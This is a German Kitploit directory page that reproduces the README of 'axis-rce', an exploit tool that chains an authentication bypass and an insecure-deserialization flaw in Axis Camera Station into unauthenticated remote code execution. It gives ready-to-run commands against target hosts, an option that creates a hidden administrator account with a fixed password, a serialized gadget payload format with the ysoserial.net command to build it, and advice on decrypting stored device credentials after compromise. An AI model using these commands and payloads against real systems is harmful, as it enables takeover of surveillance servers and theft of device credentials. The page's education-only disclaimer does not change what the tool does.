Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
axis-RCE — Unauth RCE auf Axis Camera Station (ACS) durch Verkettung von CVE‑2025‑30026 (Authentifizierungsumgehung) + CVE‑2025‑30023 (unsichere Deserialisierung) | Kitploit
Tools/GitHubGitHub/ricardojoserf/axis-rce
IoT-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationKryptographiePenetrationstestsAuthentifizierungRed TeamingPayload-Entwicklung
GitHubricardojoserf/axis-rce

axis-RCE

Unauth RCE auf Axis Camera Station (ACS) durch Verkettung von CVE‑2025‑30026 (Authentifizierungsumgehung) + CVE‑2025‑30023 (unsichere Deserialisierung)

61vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigenWebseite

CVE-2025-30026 + CVE-2025-30023: Unauth RCE

Dieser Exploit verkettet CVE‑2025‑30026 (Authentifizierungsumgehung) mit CVE‑2025‑30023 (unsichere Deserialisierung), um unauthentifizierte RCE auf der Axis Camera Station Software zu erreichen. Er umgeht den Anmeldemechanismus und liefert bösartige serialisierte Payloads, die beliebige Befehlsausführung auslösen und dem Angreifer die vollständige Kontrolle über die Zielmaschine geben.

Beide Schwachstellen betreffen Axis Camera Station Pro Versionen vor 6.9 und Axis Camera Station Versionen vor 5.58.

Er basiert auf Clarotys Blogbeitrag "Turning Camera Surveillance on its Axis", der das Protokoll und die zugehörigen Schwachstellen beschreibt.



Verwendung

python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
FlagBeschreibung
--hostZiel-IP/Host (erforderlich).
--portZielport (Standard 55752).
--keyPrivater RSA-2048-Schlüssel des Clients im PEM-Format (erforderlich).
--jsonLokale JSON-Datei, die die zu sendende Anfrage enthält.
--versionVersionFacade.get_ProductVersion-Anfrage zum Abrufen von Versionsinformationen.
--adduserBenutzer ricardo mit Passwort ThisIsIt123 erstellen und zur Gruppe Administrators hinzufügen.
--waitSekunden, die nach dem Handshake auf dem Kanal gelauscht wird (Standard 5).
--listenSekunden, die nach dem Senden einer Anfrage auf die Antwort gewartet wird (Standard 15).

Voraussetzungen

Abhängigkeiten installieren und einen privaten RSA-Schlüssel im PEM-Format für den Client generieren:

pip install cryptography
openssl genrsa -out client_priv.pem 2048

Beispiele

Fragen Sie die Produktversion ab, um zu prüfen, ob die Version anfällig ist:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

img1

Nutze die Deserialisierung aus, um einen Administratorbenutzer ricardo mit dem Passwort ThisIsIt123 zu erstellen:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser

img2

img3

Senden Sie eine benutzerdefinierte Request aus einer JSON-Datei, um einen beliebigen Befehl auszuführen:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json

Request-Dateiformat

Ein Request ist ein JSON-Objekt mit einem einzigen "Request"-Schlüssel. Das Format zum Ausnutzen der Deserialisierung ist:

{
    "Request": {
        "Id": "random123456",
        "Service": "SessionFacade",
        "Method": "LogOnAsync",
        "Parameters": {
            "uri": "http://192.168.1.197:55752/",
            "clientInformationDto": {
                "$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
            },
            "communicationType": 0,
            "ct": "random123456"
        }
    }
}

Der Wert des Feldes clientInformationDto kann mit Ysoserial.net unter Verwendung eines Gadgets wie WindowsIdentity ermittelt werden, das für die Ausnutzung dieser Schwachstelle recht stabil zu sein scheint (andere Gadgets bringen den Dienst zum Absturz):

ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw


Zusätzliche Beute

Sobald Sie Zugriff auf den Windows-Rechner haben, haben Sie Zugriff auf die .FDB-Datenbanken, die die Anmeldeinformationen für die Verbindung zu den verschiedenen Geräten enthalten. Diese sind mit einer schwachen AES-Implementierung verschlüsselt, die Sie sofort mit der Volume-Seriennummer des Hosts entschlüsseln oder in Minuten mit einer GPU per Brute-Force knacken können.

Sie können das Skript in diesem Repository verwenden, um dies auszunutzen: CVE-2026-63286.



Wie das Protokoll funktioniert

AXIS Camera Station verpackt ein zustandsbehaftetes binäres Protokoll in HTTP. Statt einer Anfrage/Antwort pro Verbindung öffnet es zwei langlebige Kanäle und überträgt geframte Nachrichten über diese, bis die Verbindung geschlossen wird.

EbeneDetail
TransportHTTP über Port 55752. GET /_/ öffnet den RX-Kanal (Empfang); POST /_/<channelID> ist der TX-Kanal (Senden), wobei jede Nachricht im POST-Body steht.
RX-FramingHTTP-chunked-Body; darin sind Steuerframes [uint32 LE length][data].
HandshakeBeide Seiten tauschen einen öffentlichen Schlüssel aus, dann einen zufälligen AES-Sitzungsschlüssel, der mit dem öffentlichen Schlüssel der anderen Seite verpackt ist.
SchlüsselformatDer Client sendet sein X.509-Zertifikat (base64). Der AES-Schlüssel wird als base64(wrapped_key):base64(iv) gesendet.
RSA-WrapPKCS#1 v1.5.
KanalAES-256-CBC mit PKCS#7-Padding. Frames vom Server zum Client verwenden den Schlüssel + IV des Servers.
AnwendungAxis.Remoting JSON. Der Client sendet zuerst seine ClientId als HELLO, dann {"Request":{"Id","Service","Method","Parameters"}}.

Handshake-Sequenz

RX  GET /_/                 <-  channelID
RX  (server pushes)         <-  server cert (X.509, base64)
RX  (server pushes)         <-  server AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  client cert (X.509, base64)
TX  POST /_/<channelID>     ->  client AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  HELLO (ClientId)
TX  POST /_/<channelID>     ->  encrypted JSON Request
RX  (server pushes)         <-  encrypted JSON Response


Hinweise

  • Getestet mit den Versionen 5.57.27610 und 5.57.33556 unter Windows 11.

  • Deserialisierungsangriffe können den Dienst zum Absturz bringen, wenn instabile Gadgets oder ungeeignete Parameter verwendet werden. Testen Sie daher immer in kontrollierten Umgebungen.

  • Dieses Skript wird ausschließlich zu Bildungs- und autorisierten Testzwecken bereitgestellt... Verwendung auf eigenes Risiko!

Tool herunterladen